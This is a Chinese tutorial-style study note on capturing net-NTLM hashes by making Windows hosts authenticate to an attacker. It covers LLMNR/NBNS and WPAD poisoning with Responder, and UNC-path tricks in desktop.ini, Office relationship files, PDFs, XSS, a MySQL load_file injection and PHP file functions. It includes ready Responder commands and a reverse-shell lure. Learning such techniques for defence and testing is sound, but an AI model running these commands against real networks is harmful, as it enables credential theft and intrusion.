Windows协议学习--NTML协议(中)
主要参考自daiker师傅
前言
在文章中会介绍到使服务器向攻击者发起NTLM
请求以获得net-ntlm
hash。使用Responder
来捕获
利用方式
在此之前我们需要知道windows解析域名的顺序是:
Hosts
DNS (cache / server)
LLMNR
NBNS
如果Hosts文件里面不存在,就会使用DNS解析。如果DNS解析失败,就会使用LLMNR解析,如果LLMNR解析失败,就会使用NBNS解析
1. LLMNR
LLMNR 是一种基于协议域名系统(DNS)数据包的格式,使得两者的IPv4和IPv6的主机进行名称解析为同一本地链路上的主机,因此也称作多播DNS。监听的端口为UDP/5355
,支持 IPv4 和 IPv6 ,并且在Linux上也实现了此协议。其解析名称的特点为端到端,IPv4 的广播地址为224.0.0.252
,IPv6的广播地址为FF02:0:0:0:0:0:1:3
或 FF02::1:3
当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR本地链路多播名称解析来解析本地网段上的主机的名称,直到网络连接恢复正常为止。
LLMNR 进行名称解析的过程为:
检查本地 NetBIOS 缓存
如果缓存中没有则会像当前子网域发送广播
当前子网域的其他主机收到并检查广播包,如果没有主机响应则请求失败
也就是说LLMNR并不需要一个服务器,而是采用广播包的形式,去询问DNS,跟ARP很像,因此也存在类似arp投毒等问题的出现
我们举个例子来分析:
当我们通过net use
尝试去建立一个不存在IPC链接或者是尝试和攻击机建立IPC链接的时候:
受害者在Hosts文件里面没有找到,通过DNS解析失败。就会通过LLMNR协议进行广播,前文已经说过LLMNR的广播地址对应的就是
224.0.0.252
之后攻击者会发送响应包告诉受害者想要查找的对应主机的IP就是攻击者的IP:
这个时候
whoami
映射的ip就是攻击者的IP,当受害者访问whoami
就会访问攻击者的IP,攻击者就能拿到net-ntlm hash2. NBNS
全称是NetBIOS Name Service
NetBIOS 协议进行名称解析的过程如下:
检查本地 NetBIOS 缓存
如果缓存中没有请求的名称且已配置了 WINS 服务器,接下来则会向 WINS 服务器发出请求
如果没有配置 WINS 服务器或 WINS 服务器无响应则会向当前子网域发送广播
如果发送广播后无任何主机响应则会读取本地的 lmhosts 文件
lmhosts 文件位于C:WindowsSystem32driversetc目录中。
NetBIOS协议进行名称解析是发送的UDP广播包。因此在没有配置WINS服务器的情况底下,LLMNR协议存在的安全问题,在NBNS协议里面同时存在。使用Responder也可以很方便得进行测试。这里不再重复展示。
在使用net use
尝试建立IPC链接时同样还会通过NBNS来查询,而攻击机同样也会告诉受害者它查询的主机对应IP就是攻击者的IP
总结来说其实要想使得服务器向攻击者发送NTLM请求的话,不妨多去寻找能够支持UNC路径的操作和特性,那么这里也就需要解释一下什么是UNC路径:
- 1:什么是UNC路径?UNC路径就是类似softer这样的形式的网络路径。
- 2:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。
格式:servernamesharename,其中servername是服务器名。sharename是共享资源的名称。
目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:servernamesharenamedirectoryfilename。 - 3:unc共享就是指网络硬盘的共享:
当访问softer计算机中名为it168的共享文件夹,用UNC表示就是softerit168;如果是softer计算机的默认管理共享C$则用softerc$来表示。
文件夹
其实文件夹底下都有个文件desktop.ini
来指定文件夹图标之类的。默认不可见。去掉隐藏受保护的操作系统文件就可以看到(如果没看到需要先更改文件夹的图标):
当我们将图标加载资源改成UNC格式指定到对应攻击者IP时
相当于打开文件夹后会通过UNC方式请求攻击者的图标资源,我们就能获取用户的
net-ntlm hash
在Win 7
中验证会出现:
因为使用相同用户抓取的Hash不会再次显示,我们可以使用
-v
参数来显示每次抓取得到的NTLM Hash系统命令携带UNC路径
其实我们之前使用的net use
也就是调用了系统命令并且该命令支持UNC路径,当然我们还可以使用dir \
的方式,这是我们知道最常用的方式之一:
通过这种方式同样可以得到受害者的Hash
此外在
Windows
自带的系统命令或者是可执行文件中,如下还支持UNC路径:
> net.exe use hostshare
> attrib.exe hostshare
> bcdboot.exe hostshare
> bdeunlock.exe hostshare
> cacls.exe hostshare
> certreq.exe hostshare #(noisy, pops an error dialog)
> certutil.exe hostshare
> cipher.exe hostshare
> ClipUp.exe -l hostshare
> cmdl32.exe hostshare
> cmstp.exe /s hostshare
> colorcpl.exe hostshare #(noisy, pops an error dialog)
> comp.exe /N=0 hostshare hostshare
> compact.exe hostshare
> control.exe hostshare
> convertvhd.exe -source hostshare -destination hostshare
> Defrag.exe hostshare
> diskperf.exe hostshare
> dispdiag.exe -out hostshare
> doskey.exe /MACROFILE=hostshare
> esentutl.exe /k hostshare
> expand.exe hostshare
> extrac32.exe hostshare
> FileHistory.exe hostshare #(noisy, pops a gui)
> findstr.exe * hostshare
> fontview.exe hostshare #(noisy, pops an error dialog)
> fvenotify.exe hostshare #(noisy, pops an access denied error)
> FXSCOVER.exe hostshare #(noisy, pops GUI)
> hwrcomp.exe -check hostshare
> hwrreg.exe hostshare
> icacls.exe hostshare
> licensingdiag.exe -cab hostshare
> lodctr.exe hostshare
> lpksetup.exe /p hostshare /s
> makecab.exe hostshare
> msiexec.exe /update hostshare /quiet
> msinfo32.exe hostshare #(noisy, pops a "cannot open" dialog)
> mspaint.exe hostshare #(noisy, invalid path to png error)
> msra.exe /openfile hostshare #(noisy, error)
> mstsc.exe hostshare #(noisy, error)
> netcfg.exe -l hostshare -c p -i foo
xss
该方法经过测试发现只在ie和edge
浏览器中有效,因为其他浏览器不允许从http域跨到file域,可以看到当使用IE打开该页面时:
可以捕捉获取NTLM
PDF规范允许为GoTobe和GoToR条目加载远程内容。PDF文件可以添加一项功能,请求远程SMB服务器的文件。我们直接使用三好学生师傅的脚本https://github.com/3gstudent/Worse-PDF
利用adobe的
Reader DC
打开后会出现提示:当点击允许后便可以抓取到Hash
利用Office
这里首先新建一个office,然后传一张图片上去后将后缀改为zip后打开文件:
进入word_rels,修改document.xml.rels
这里本来只想加载的
/image/1.jog
图片,可以替换成UNC路径对应的攻击机的IP后,注意还需要加上TargetMode="External"
保存后将zip重新修改为doc后双击打开可以发现:
这种方式同样可以获取NTLM的Hash:
抓包发现最后会尝试建立SMB的链接:
MYSQL
依据MYSQL进行的SQL注入太多太多,在CTF题中或者是实战过程中如果没有secure_file_priv的限制时,我们知道利用load_file
是可以任意文件读取的,某种程度上说是支持file
协议的,实际上load_file
也同样支持UNC协议,因此当我们这样构造:
select load_file('\\172.16.100.1\mysql');
同样可以拿到net-ntlm hash
PHP
之前面试的时候被问到说file_get_contents
如果面对的是Windows的主机有什么其他的利用点,当时一时没有回答上来,但其实在Windows中file_get_contents
,但实际上同样也支持UNC路径,我们构造如下:
发现同样是可以触发成功的,因此推测其实还存在大量PHP函数是支持UNC路径的,比如说include
涉及到文件包含的函数都支持UNC路径,至于底层的实现之后有时间再去分析
关于这一点让我突然想起了PHP中phar反序列化的那些触发方法,同样也是基于文件操作的函数,基于这点发现其实和触发phar反序列化的函数很多都能够实现,只要是调用了php_stream_locate_url_wrapper
的wrapper
的函数均是支持UNC路径的
本地试了以下函数都是支持UNC路径并且
responder
能够成功抓取Hash的:其他师傅们可以尝试更多的函数,不过我个人认为满足调用
php_stream_locate_url_wrapper
都能支持UNC路径
WPAD
wpad全称是Web Proxy Auto-Discovery Protocol
,通过让浏览器自动发现代理服务器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat
),下载编译并运行,最终自动使用代理访问网络。
它在本地网络上搜索名为
wpad
的计算机以找到该文件。然后执行以下步骤:
1.如果配置了DHCP服务器,则客户端从DHCP服务器中检索wpad.dat
文件(如果成功,则执行步骤4)。
2.wpad.corpdomain.com
查询被发送到DNS服务器以查找分发Wpad配置的设备。(如果成功,则执行第4步)。
3.发送WPAD的LLMNR或NBNS
查询(如果成功,请转到第4步,否则无法使用代理)
4.下载wpad.dat
并使用它。
在下面的流量捕获中,机器以广播方式发送NBNS
数据包,请求wpad.dat
:
在这里存在两个攻击面:
1. 配合LLMNR/NBNS投毒
这是最早的攻击方式。用户在访问网页时,首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat
。如果没有在域内专门配置这个域名的话,那么DNS解析失败的话,就会使用LLMNR发起广播包询问WPAD,这个时候我们就可以进行LLMNR投毒和NBNS投毒
我们使用如下命令:
#当受害者对攻击者 WPAD 假服务器进行 WPAD 名称解析时,它会创建一个身份验证屏幕并要求客户端输入他的域凭据。
responder -I eth0 -wFb
此外,Responder 能够将用户重定向到虚假网页或提供恶意可执行文件。
必须在responder.conf
文件中进行以下更改:
然后启动响应程序:
responder -I eth0 -I 10.7.7.31 -r On -w On -wFb
现在,当受害者尝试使用浏览器时,他将看到以下页面:
如果受害者偶然点击了该链接,则会下载一个反向 shell:
最后,如果受害者执行恶意可执行文件,在端口 140 中使用 netcat,攻击者将能够访问受害者的计算机:
然而,微软在2016年发布了MS16-077
安全公告,其更改了PAC
文件下载的默认行为,以便当WinHTTP请求PAC文件时,不会自动发送客户端的域凭据来响应NTLM或协商身份验证质询。
因此使用这种方式我们便不能在通过WPAD方式抓取用户的Hash,但是我们可以结合XSS的方式,使用HTML Injection
,只需要修改Responder.conf
即可:
并且设置
Serve-Html = Off
这样搭配XSS之后受害者如果使用IE或者Edge
打开后结合XSS中使用UNC路径
同样可以抓取的受害者Hashresponder -I eth0 -wFb -f -P -v
后续进一步NTLM的学习以及利用NTLM2 Hash或者NTLM Hash的姿势会在后面的学习记录中慢慢沉淀和积累
参考文章:
https://daiker.gitbook.io/windows-protocol/ntlm-pian/5#3-yong-hu-tou-xiang
https://trelis24.github.io/2018/08/03/Windows-WPAD-Poisoning-Responder/